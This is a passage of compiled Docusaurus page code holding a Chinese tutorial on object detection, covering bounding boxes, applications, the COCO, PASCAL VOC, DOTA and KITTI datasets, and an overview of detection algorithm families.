\u76ee\u6807\u68c0\u6d4b","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b","draft":false,"unlisted":false,"editUrl":"https://github.com/facebook/docusaurus/tree/main/packages/create-docusaurus/templates/shared/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/10.AI/01.PyTorch/10.\u7b2c\u5341\u7ae0/10.2 \u76ee\u6807\u68c0\u6d4b.md","tags":[],"version":"current","frontMatter":{},"sidebar":"tutorialSidebar","previous":{"title":"10.1 \u56fe\u50cf\u5206\u7c7b.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.1 \u56fe\u50cf\u5206\u7c7b"},"next":{"title":"10.3 \u56fe\u50cf\u5206\u5272.md","permalink":"/docs/\u4e2a\u4eba\u77e5\u8bc6\u5e93/AI/PyTorch/\u7b2c\u5341\u7ae0/10.3 \u56fe\u50cf\u5206\u5272"}}');var r=t(74848),i=t(28453);const l={},d="10.2 \u76ee\u6807\u68c0\u6d4b.md",c={},a=[{value:"\u76ee\u6807\u68c0\u6d4b\u6982\u8ff0",id:"\u76ee\u6807\u68c0\u6d4b\u6982\u8ff0",level:2},{value:"\u76ee\u6807\u68c0\u6d4b\u5e94\u7528",id:"\u76ee\u6807\u68c0\u6d4b\u5e94\u7528",level:2},{value:"\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6",id:"\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6",level:2},{value:"COCO\u6570\u636e\u96c6",id:"coco\u6570\u636e\u96c6",level:3},{value:"PASCAL VOC",id:"pascal-voc",level:3},{value:"DOTA",id:"dota",level:3},{value:"KITTI",id:"kitti",level:3},{value:"\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7b97\u6cd5",id:"\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7b97\u6cd5",level:2}];function h(e){const n={a:"a",code:"code",h1:"h1",h2:"h2",h3:"h3",header:"header",img:"img",p:"p",table:"table",tbody:"tbody",td:"td",th:"th",thead:"thead",tr:"tr",...(0,i.R)(),...e.components};return(0,r.jsxs)(r.Fragment,{children:[(0,r.jsx)(n.header,{children:(0,r.jsx)(n.h1,{id:"102-\u76ee\u6807\u68c0\u6d4bmd",children:"10.2 \u76ee\u6807\u68c0\u6d4b.md"})}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2026-06-07 20:53:41"})]})})]}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4f5c\u8005"}),(0,r.jsx)(n.th,{style:{textAlign:"left"},children:"\u4fee\u8ba2\u65f6\u95f4"})]})}),(0,r.jsx)(n.tbody,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{style:{textAlign:"left"},children:(0,r.jsx)(n.img,{src:"https://img.shields.io/badge/wjlin0-%E4%B8%AA%E4%BA%BA%E7%9F%A5%E8%AF%86%E5%BA%93-green",alt:"wjlin0"})}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"2025-10-31 15:44:29"})]})})]}),"\n",(0,r.jsx)(n.h1,{id:"\u76ee\u6807\u68c0\u6d4b\u7b80\u4ecb",children:"\u76ee\u6807\u68c0\u6d4b\u7b80\u4ecb"}),"\n",(0,r.jsx)(n.h2,{id:"\u76ee\u6807\u68c0\u6d4b\u6982\u8ff0",children:"\u76ee\u6807\u68c0\u6d4b\u6982\u8ff0"}),"\n",(0,r.jsxs)(n.p,{children:["\u76ee\u6807\u68c0\u6d4b\u662f\u8ba1\u7b97\u673a\u89c6\u89c9\u7684\u4e00\u4e2a\u91cd\u8981\u4efb\u52a1\uff0c\u6839\u636e\u6574\u5f20\u56fe\u50cf\u5185\u5bb9\u8fdb\u884c\u63cf\u8ff0\uff0c\u5e76\u7ed3\u5408\u76ee\u6807\u7269\u4f53\u7684\u7279\u5f81\u4fe1\u606f\uff0c\u786e\u5b9a\u8be5\u7269\u4f53\u7684\u7c7b\u522b\u4e0e\u4f4d\u7f6e\u3002\u4e0d\u540c\u4e8e\u56fe\u50cf\u5206\u7c7b\u4efb\u52a1\u4e2d\u6211\u4eec\u53ea\u9700\u8981\u8f93\u51fa\u56fe\u50cf\u4e2d\u4e3b\u8981\u7269\u4f53\u5bf9\u8c61\u7684\u7c7b\u6807\uff0c\u5728\u76ee\u6807\u68c0\u6d4b\u4efb\u52a1\u4e2d\uff0c\u4e00\u5f20\u56fe\u50cf\u91cc\u5f80\u5f80\u542b\u6709\u591a\u4e2a\u7269\u4f53\u5bf9\u8c61\uff0c\u6211\u4eec\u4e0d\u4ec5\u9700\u8981\u8f93\u51fa\u8fd9\u4e9b\u7269\u4f53\u7684\u7c7b\u6807\uff0c\u540c\u65f6\u8fd8\u9700\u8981\u8f93\u51fa\u8fd9\u4e9b\u7269\u4f53\u7684\u4f4d\u7f6e\uff0c\u5728\u8868\u793a\u4f4d\u7f6e\u65f6\uff0c\u6211\u4eec\u4e00\u822c\u91c7\u7528\u76ee\u6807\u68c0\u6d4b\u8fb9\u7f18\u6846",(0,r.jsx)(n.code,{children:"bounding box"}),"\u8fdb\u884c\u8868\u793a\uff0c",(0,r.jsx)(n.code,{children:"bounding box"}),"\u662f\u4e00\u7ec4\u5750\u6807\u503c\uff0c\u5e38\u89c1\u5f62\u5f0f\u4e3a",(0,r.jsx)(n.code,{children:"(x1,y1,x2,y2)"}),"\uff0c\u5176\u4e2d",(0,r.jsx)(n.code,{children:"x1"}),"\u4ee3\u8868\u7269\u4f53\u5de6\u4e0a\u6a2a\u5750\u6807\uff0c",(0,r.jsx)(n.code,{children:"y1"}),"\u4ee3\u8868\u5de6\u4e0a\u7eb5\u5750\u6807\uff0c",(0,r.jsx)(n.code,{children:"x2"}),"\u4ee3\u8868\u7269\u4f53\u53f3\u4e0b\u6a2a\u5750\u6807\uff0c",(0,r.jsx)(n.code,{children:"y2"}),"\u4ee3\u8868\u7269\u4f53\u53f3\u4e0b\u7eb5\u5750\u6807\u3002"]}),"\n",(0,r.jsx)(n.h2,{id:"\u76ee\u6807\u68c0\u6d4b\u5e94\u7528",children:"\u76ee\u6807\u68c0\u6d4b\u5e94\u7528"}),"\n",(0,r.jsx)(n.p,{children:"\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u4e0d\u540c\u4e8e\u56fe\u50cf\u5206\u7c7b\u5355\u4e00\u8f93\u51fa\u7269\u4f53\u7684\u79cd\u7c7b\uff0c\u5b83\u5c06\u7269\u4f53\u7684\u4f4d\u7f6e\u548c\u79cd\u7c7b\u4e00\u8d77\u8f93\u51fa\uff0c\u8fd9\u4f7f\u5f97\u76ee\u6807\u68c0\u6d4b\u5728\u4e00\u4e9b\u9886\u57df\u6709\u7740\u91cd\u8981\u7684\u4f5c\u7528\uff0c\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u4e8e\u4eba\u8138\u68c0\u6d4b\u3001\u667a\u6167\u4ea4\u901a\u3001\u673a\u5668\u4eba\u3001\u65e0\u4eba\u9a7e\u9a76\u3001\u9065\u611f\u76ee\u6807\u68c0\u6d4b\u3001\u5b89\u9632\u9886\u57df\u68c0\u6d4b\u5f02\u5e38\u3001\u884c\u4eba\u8ba1\u6570\u3001\u5b89\u5168\u7cfb\u7edf\u7b49\u5404\u5927\u9886\u57df\u3002"}),"\n",(0,r.jsx)(n.h2,{id:"\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6",children:"\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6"}),"\n",(0,r.jsx)(n.p,{children:"\u76ee\u6807\u68c0\u6d4b\u7684\u6570\u636e\u96c6\u901a\u5e38\u6765\u8bf4\u6bd4\u56fe\u7247\u5206\u7c7b\u7684\u6570\u636e\u96c6\u5c0f\u5f88\u591a\uff0c\u56e0\u4e3a\u6bcf\u4e00\u5f20\u56fe\u7247\u7684\u6807\u6ce8\u7684\u6210\u672c\u5f88\u9ad8\uff0c\u76f8\u8f83\u4e8e\u56fe\u7247\u5206\u7c7b\u7684\u5e38\u89c1\u6807\u6ce8\u65b9\u6cd5\u662f\u7ed9\u5b9a\u4e00\u4e2aCSV\u6587\u4ef6\uff08\u56fe\u7247\u4e0e\u6807\u53f7\u4e00\u4e00\u5bf9\u5e94\uff09\u6216\u8005\u662f\u7ed9\u5b9a\u4e00\u4e2a\u6587\u4ef6\u5939\uff08\u6bcf\u4e2a\u7c7b\u5bf9\u5e94\u4e00\u4e2a\u5b50\u6587\u4ef6\u5939\uff0c\u5bf9\u5e94\u6807\u53f7\u7684\u56fe\u7247\u653e\u5728\u5b50\u6587\u4ef6\u5939\u4e0b\uff09\uff0c\u4f46\u662f\u5bf9\u4e8e\u76ee\u6807\u68c0\u6d4b\u6765\u8bf4\u56e0\u4e3a\u4e00\u5f20\u56fe\u7247\u4e2d\u53ef\u80fd\u5b58\u5728\u591a\u4e2a\u7c7b\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u4e0d\u80fd\u653e\u5728\u5b50\u6587\u4ef6\u5939\u4e2d\uff0c\u6240\u4ee5\u901a\u5e38\u6765\u8bf4\u76ee\u6807\u68c0\u6d4b\u7684\u6570\u636e\u96c6\u7684\u6807\u53f7\u9700\u8981\u989d\u5916\u5b58\u50a8\uff0c\u5e38\u89c1\u7684\u5b58\u50a8\u683c\u5f0f\u6709PASCAL VOC\u7684\u683c\u5f0f\u548cCOCO\u7684\u6807\u6ce8\u683c\u5f0f\u3002\u5047\u8bbe\u4f7f\u7528\u6587\u672c\u6587\u4ef6\u5b58\u50a8\u7684\u8bdd\uff0c\u6bcf\u4e00\u884c\u8868\u793a\u4e00\u4e2a\u7269\u4f53\uff0c\u6bcf\u4e00\u884c\u5206\u522b\u7531\u56fe\u7247\u6587\u4ef6\u540d\uff08\u56e0\u4e3a\u4e00\u5f20\u56fe\u7247\u4e2d\u53ef\u80fd\u6709\u591a\u4e2a\u7269\u4f53\uff0c\u6240\u4ee5\u540c\u4e00\u4e2a\u6587\u4ef6\u540d\u53ef\u80fd\u4f1a\u51fa\u73b0\u591a\u6b21\uff09\u3001\u7269\u4f53\u7c7b\u522b\uff08\u6807\u53f7\uff09\u3001\u8fb9\u7f18\u6846\uff08\u56fe\u7247\u4e2d\u7269\u4f53\u7684\u4f4d\u7f6e\uff09\u7ec4\u6210\uff0c\u6bcf\u4e00\u884c\u4e00\u5171\u67096\uff081+1+4\uff09\u4e2a\u503c\n\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7684\u6570\u636e\u96c6\u6709PASCAL VOC2007, MS COCO"}),"\n",(0,r.jsx)(n.h3,{id:"coco\u6570\u636e\u96c6",children:"COCO\u6570\u636e\u96c6"}),"\n",(0,r.jsxs)(n.p,{children:["[",(0,r.jsx)(n.a,{href:"https://cocodataset.org/#home",children:"Dataset url"}),"] [",(0,r.jsx)(n.a,{href:"https://arxiv.org/pdf/1405.0312v3.pdf",children:"Dataset paper"}),"] [",(0,r.jsx)(n.a,{href:"https://paperswithcode.com/dataset/coco",children:"Dataset Benchmarks"}),"]"]}),"\n",(0,r.jsx)(n.p,{children:"COCO\u662f\u76ee\u6807\u68c0\u6d4b\u4e2d\u6bd4\u8f83\u5e38\u89c1\u7684\u6570\u636e\u96c6\uff0c\u7c7b\u4f3c\u4e8eImagenet\u5728\u56fe\u7247\u5206\u7c7b\u4e2d\u7684\u5730\u4f4d\uff0ccoco\u6570\u636e\u96c6\u662f\u5fae\u8f6f\u5f00\u6e90\u7684\u4e00\u4e2a\u76ee\u6807\u68c0\u6d4b\u4e2d\u5e38\u7528\u7684\u5927\u89c4\u6a21\u6570\u636e\u96c6\uff0c\u76f8\u5bf9\u4e8eVOC\u800c\u8a00\uff0cCOCO\u6570\u636e\u96c6\u6709\u7740\u5c0f\u76ee\u6807\u591a\u3001\u5355\u5e45\u56fe\u7247\u76ee\u6807\u591a\u3001\u7269\u4f53\u5927\u591a\u975e\u4e2d\u5fc3\u5206\u5e03\u3001\u66f4\u7b26\u5408\u65e5\u5e38\u73af\u5883\u7684\u7279\u70b9\uff0c\u56e0\u800cCOCO\u6570\u636e\u96c6\u7684\u76ee\u6807\u68c0\u6d4b\u96be\u5ea6\u66f4\u5927\u3002\u5bf9\u4e8e\u76ee\u6807\u68c0\u6d4b\u4efb\u52a1\uff0cCOCO\u5305\u542b80\u4e2a\u7c7b\u522b\uff0c\u6bcf\u5e74\u5927\u8d5b\u7684\u8bad\u7ec3\u548c\u548c\u9a8c\u8bc1\u96c6\u5305\u542b120,000\u5f20\u56fe\u7247\uff0c\u8d85\u8fc740,000\u5f20\u6d4b\u8bd5\u56fe\u7247\uff08\u6bcf\u4e2a\u56fe\u7247\u5305\u542b\u591a\u4e2a\u7269\u4f53\uff09\u3002\u4e0b\u9762\u662f\u8fd9\u4e2a\u6570\u636e\u96c6\u4e2d\u768480\u4e2a\u7c7b\u522b\uff1a"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{children:"\u6240\u5c5e\u5927\u7c7b"}),(0,r.jsx)(n.th,{children:"lable"})]})}),(0,r.jsxs)(n.tbody,{children:[(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Person#1"}),(0,r.jsx)(n.td,{children:"person"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Vehicle#8"}),(0,r.jsx)(n.td,{children:"bicycle,car,motorcycle,airplane,bus,train,truck,boat"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Outdoor#5"}),(0,r.jsx)(n.td,{children:"traffic light, firhydrant, stop sign, parking meter, bench"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Animal#10"}),(0,r.jsx)(n.td,{children:"bird,cat, dog,horse, sheep, cow, elephant, bear, zebra, giraffe"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Accessory#5"}),(0,r.jsx)(n.td,{children:"backpack, umbrella,handbag, tie, suitcase"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Sport#10"}),(0,r.jsx)(n.td,{children:"frisbee, skis,snowboard, sports ball, kite, baseball bat , baseball glove, skateboard, surfboard, tennisracket"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Kitchen#7"}),(0,r.jsx)(n.td,{children:"bottle, wine glass,cup, fork, knife, spoon, bowl"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Food#10"}),(0,r.jsx)(n.td,{children:"banana, apple,sandwich, orange, broccoli, carrot, hot dog, pizza, donut, cake"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Furniture#6"}),(0,r.jsx)(n.td,{children:"chair, couch, potted plant,bed, dining table, toilet"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Electronic#6"}),(0,r.jsx)(n.td,{children:"tv, laptop, mouse,remote, keyboard, cell phone"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Appliance#5"}),(0,r.jsx)(n.td,{children:"microwave, oven,toaster, sink, refrigerator"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Indoor#7"}),(0,r.jsx)(n.td,{children:"book, clock, vase,scissors, teddy bear, hair drier, toothbrus"})]})]})]}),"\n",(0,r.jsxs)(n.p,{children:["\u4e0ePASCAL VOC\u6570\u636e\u6807\u6ce8\u683c\u5f0f\u4e0d\u540c\uff0cCOCO\u7684\u6570\u636e\u6807\u6ce8\u683c\u5f0f\u662f\u4ee5Json\u5f62\u5f0f\u4fdd\u5b58\uff0c\u5177\u4f53\u5f62\u5f0f\u53ef\u4ee5\u53c2\u8003COCO\u5b98\u7f51\u7684",(0,r.jsx)(n.a,{href:"https://cocodataset.org/#format-data",children:"format data"})]}),"\n",(0,r.jsx)(n.h3,{id:"pascal-voc",children:"PASCAL VOC"}),"\n",(0,r.jsxs)(n.p,{children:["[",(0,r.jsx)(n.a,{href:"http://host.robots.ox.ac.uk/pascal/VOC/index.html",children:"Dataset url"}),"] [",(0,r.jsx)(n.a,{href:"http://host.robots.ox.ac.uk/pascal/VOC/index.html",children:"Dataset paper"}),"] [",(0,r.jsx)(n.a,{href:"https://paperswithcode.com/dataset/pascal-voc-2007",children:"Dataset Benchmarks"}),"]"]}),"\n",(0,r.jsx)(n.p,{children:"Pascal VOC\u6570\u636e\u96c6\u662f\u76ee\u6807\u68c0\u6d4b\u7684\u5e38\u7528\u7684\u5927\u89c4\u6a21\u6570\u636e\u96c6\u4e4b\u4e00\uff0c\u4ece05\u5e74\u523012\u5e74\u90fd\u4f1a\u4e3e\u529e\u6bd4\u8d5b\uff08\u6bd4\u8d5b\u4efb\u52a1task\uff1a \u5206\u7c7bClassification \uff0c\u76ee\u6807\u68c0\u6d4bObject Detection\uff0c\u8bed\u4e49\u5206\u5272Class Segmentation\uff0c\u5b9e\u4f8b\u5206\u5272Object Segmentation\uff0cAction Classification\uff08\u4e13\u6ce8\u4e8e\u4eba\u4f53\u52a8\u4f5c\u7684\u4e00\u79cd\u5206\u7c7b\uff09\uff0cPerson Layout\uff08\u4e13\u6ce8\u4e8e\u4eba\u4f53\u5404\u90e8\u4f4d\u7684\u4e00\u79cd\u76ee\u6807\u68c0\u6d4b\uff09\uff09\u3002\u5f53\u524d\u5e38\u89c1\u7684\u6570\u636e\u96c6\u6709VOC2007\u548cVOC2012\u4e24\u4e2a\u6570\u636e\u96c6\u3002\u5305\u542b\u7ea610,000\u5f20\u5e26\u6709\u8fb9\u754c\u6846\u7684\u56fe\u7247\u7528\u4e8e\u8bad\u7ec3\u548c\u9a8c\u8bc1\u3002\u542b\u670920\u4e2a\u7c7b\u522b\u3002\u5177\u4f53\u5305\u62ec"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{children:"\u6240\u5c5e\u5927\u7c7b"}),(0,r.jsx)(n.th,{children:"label"})]})}),(0,r.jsxs)(n.tbody,{children:[(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Person"}),(0,r.jsx)(n.td,{children:"person"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Animal"}),(0,r.jsx)(n.td,{children:"bird, cat, cow, dog, horse,sheep"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Vehicle"}),(0,r.jsx)(n.td,{children:"aeroplane, bicycle, boat,bus, car, motorbike, train"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"Indoor"}),(0,r.jsx)(n.td,{children:"bottle, chair, dining table,potted plant, sofa, tv/monitor"})]})]})]}),"\n",(0,r.jsxs)(n.p,{children:["\u76f8\u8f83\u4e8eCOCO\u6570\u636e\u96c6\u768480\u7c7b\u522b\uff0cPASCAL VOC\u6570\u636e\u96c6\u4ec5\u670920\u7c7b\uff0c\u56e0\u6b64\u4e5f\u5e38\u88ab\u770b\u4f5c\u662f\u76ee\u6807\u68c0\u6d4b\u9886\u57df\u7684\u57fa\u51c6\u6570\u636e\u96c6\u3002\u6570\u636e\u96c6\u4e0b\u8f7d\u5b8c\u540e\u4f1a\u6709\u4e94\u4e2a\u6587\u4ef6\u5939\uff1aAnnotations\u3001ImageSets\u3001JPEGImages\u3001SegmentationClass\u3001SegmentationObject\nannotations\uff1a\u6570\u636e\u96c6\u6807\u7b7e\u7684\u5b58\u50a8\u8def\u5f84\uff0c\u901a\u8fc7XML\u6587\u4ef6\u683c\u5f0f\uff0c\u4e3a\u56fe\u50cf\u6570\u636e\u5b58\u50a8\u5404\u7c7b\u4efb\u52a1\u7684\u6807\u7b7e\u3002\u5176\u4e2d\u90e8\u5206\u6807\u7b7e\u4e3a\u76ee\u6807\u68c0\u6d4b\u7684\u6807\u7b7e\u3002\nJPEGImages\uff1a\u6570\u636e\u96c6\u56fe\u50cf\u7684\u5b58\u50a8\u8def\u5f84\u3002\n\u5177\u4f53\u7684\u6807\u6ce8\u683c\u5f0f\uff0c\u8bf7\u53c2\u8003",(0,r.jsx)(n.a,{href:"http://host.robots.ox.ac.uk/pascal/VOC/voc2007/guidelines.html",children:"Annotation Guidelines"})]}),"\n",(0,r.jsx)(n.h3,{id:"dota",children:"DOTA"}),"\n",(0,r.jsxs)(n.p,{children:["[",(0,r.jsx)(n.a,{href:"https://captain-whu.github.io/DOTA/dataset.html",children:"Dataset url"}),"] [",(0,r.jsx)(n.a,{href:"https://captain-whu.github.io/DOTA/index.html",children:"Dataset paper"}),"] [",(0,r.jsx)(n.a,{href:"https://paperswithcode.com/dataset/dota",children:"Dataset Benchmarks"}),"]"]}),"\n",(0,r.jsx)(n.p,{children:"DOTA\u6570\u636e\u96c6\u662f\u6700\u4e3a\u91cd\u8981\u7684\u9065\u611f\u822a\u7a7a\u62cd\u6444\u7684\u76ee\u6807\u68c0\u6d4b\u6570\u636e\u96c6\u4e4b\u4e00\uff0c\u6570\u636e\u6765\u81eaGoogle Earth\uff0cGF-2\u548cJL-1\u536b\u661f\uff0cCycloMedia B.V\u3002DOTA\u5305\u542b\u7070\u5ea6\u56fe\u548cRGB\u56fe\u50cf\uff0c\u5e76\u4e14\u6bcf\u5f20\u56fe\u7247\u4ee5PNG\u5f62\u5f0f\u4fdd\u5b58\uff0c\u5176\u4e2dRGB\u6765\u81ea\u4e8eGoogle Earth\u548cCycloMedia\uff0c\u7070\u5ea6\u56fe\u6765\u81eaGF-2\u548cJL-1\u536b\u661f\u3002DOTA\u73b0\u6709v1.0\uff0cv1.5\uff0cv2.0\u4e09\u4e2a\u7248\u672c\uff0c\u5206\u522b\u652f\u630115\uff0c16\uff0c18\u7c7b\u7684\u68c0\u6d4b\u3002"}),"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n",(0,r.jsxs)(n.table,{children:[(0,r.jsx)(n.thead,{children:(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.th,{children:"DOTA \u7248\u672c"}),(0,r.jsx)(n.th,{children:"\u5305\u542b\u7c7b\u522b"})]})}),(0,r.jsxs)(n.tbody,{children:[(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"DOTA v1.0"}),(0,r.jsx)(n.td,{children:"plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field and swimming pool"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"DOTA v1.5"}),(0,r.jsx)(n.td,{children:"plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field, swimming pool and container crane."})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"DOTA v2.0"}),(0,r.jsx)(n.td,{children:"plane, ship, storage tank, baseball diamond, tennis court, basketball court, ground track field, harbor, bridge, large vehicle, small vehicle, helicopter, roundabout, soccer ball field, swimming pool, container crane, airport and helipad."})]})]})]}),"\n",(0,r.jsxs)(n.p,{children:["\u5173\u4e8eDOTA\u7684\u6807\u6ce8\u5f62\u5f0f\uff0c\u8bf7\u53c2\u8003",(0,r.jsx)(n.a,{href:"https://captain-whu.github.io/DOTA/dataset.html",children:"DOTA Annotation format"})]}),"\n",(0,r.jsx)(n.h3,{id:"kitti",children:"KITTI"}),"\n",(0,r.jsxs)(n.p,{children:["[",(0,r.jsx)(n.a,{href:"http://www.cvlibs.net/datasets/kitti/",children:"Dataset url"}),"] [",(0,r.jsx)(n.a,{href:"https://arxiv.org/abs/1704.06857",children:"Dataset paper"}),"] [",(0,r.jsx)(n.a,{href:"https://paperswithcode.com/dataset/kitti",children:"Dataset Benchmarks"}),"]"]}),"\n",(0,r.jsx)(n.h2,{id:"\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7b97\u6cd5",children:"\u76ee\u6807\u68c0\u6d4b\u5e38\u7528\u7b97\u6cd5"}),"\n",(0,r.jsx)(n.p,{children:"\u968f\u7740\u7b97\u529b\u7684\u53d1\u5c55\u548c\u6df1\u5ea6\u5b66\u4e60\u7684\u53d1\u5c55\uff0c\u76ee\u6807\u68c0\u6d4b\u7ecf\u5386\u4e86\u4ece\u57fa\u4e8e\u624b\u5de5\u8bbe\u8ba1\u7279\u5f81\u7684\u65b9\u6cd5\u5230\u57fa\u4e8e\u6df1\u5ea6\u5b66\u4e60\u63d0\u53d6\u7279\u5f81\u7684\u9636\u6bb5\u3002\u5728\u65e9\u671f\uff0c\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u5f80\u5f80\u91c7\u7528\u624b\u5de5\u8bbe\u8ba1\u7279\u5f81\uff08Haar\u7279\u5f81\u3001\u68af\u5ea6\u76f4\u65b9\u56feHOG\uff09\u52a0\u5206\u7c7b\u5668\uff08SVM\u3001AdaBoost\uff09\u7684\u65b9\u6cd5\u5b9e\u73b0\u3002\u968f\u7740\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u53d1\u5c55\uff0c\u76ee\u6807\u68c0\u6d4b\u51fa\u73b0\u4e86\u4e00\u7cfb\u5217\u7684\u57fa\u4e8e\u5377\u79ef\u795e\u7ecf\u7f51\u7edc\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\uff0c\u5305\u62ecR-CNN\u7cfb\u5217,SSD\u7cfb\u5217,YOLO\u7cfb\u5217\u7b49\u3002\u968f\u7740Transformer\u5728\u81ea\u7136\u8bed\u8a00\u5904\u7406\u548c\u8ba1\u7b97\u673a\u89c6\u89c9\u7684\u53d1\u5c55\uff0c\u4e5f\u51fa\u73b0\u4e86\u57fa\u4e8eTransformer\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\uff0c\u4ee3\u8868\u5de5\u4f5c\u6709DETR\u7cfb\u5217\u3002\u5728\u672c\u90e8\u5206\uff0c\u6211\u4eec\u4e3b\u8981\u4ecb\u7ecd\u57fa\u4e8e\u6df1\u5ea6\u5b66\u4e60\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u5e76\u8fdb\u884c\u90e8\u5206\u4ee3\u7801\u7684\u89e3\u8bfb\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5c06\u57fa\u4e8e\u6df1\u5ea6\u5b66\u4e60\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u6309\u7167\u6709\u65e0\u4f7f\u7528\u951a\u70b9\u6846\u5206\u4e3a\u57fa\u4e8e\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08Anchor-based\uff09\uff0c\u65e0\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08Anchor-free\uff09\u548c\u7aef\u5230\u7aef\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08Anchor-free\uff09\u3002\u5176\u4e2d\u7aef\u5230\u7aef\u7684\u76ee\u6807\u68c0\u6d4b\u6280\u672f\u4e5f\u662f\u5c5e\u4e8e\u7279\u6b8a\u7684\u65e0\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u53ef\u4ee5\u5c06\u57fa\u4e8e\u951a\u70b9\u6846\u7684\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u5206\u4e3a\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08One-Stage\uff09\u548c\u4e24\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\uff08Two-Stage\uff09\uff0c\u5176\u4e2d\u5355\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u4ee3\u8868\u4f5c\u6709YOLO (You Only Look Once)\u548cSSD (Single Shot Detector)\uff0c\u4e24\u9636\u6bb5\u76ee\u6807\u68c0\u6d4b\u65b9\u6cd5\u7684\u4ee3\u8868\u4f5c\u6709R-CNN\uff08R-CNN\uff0cFast RCNN,Faster RCNN\uff0cMask RCNN\uff0cCascade 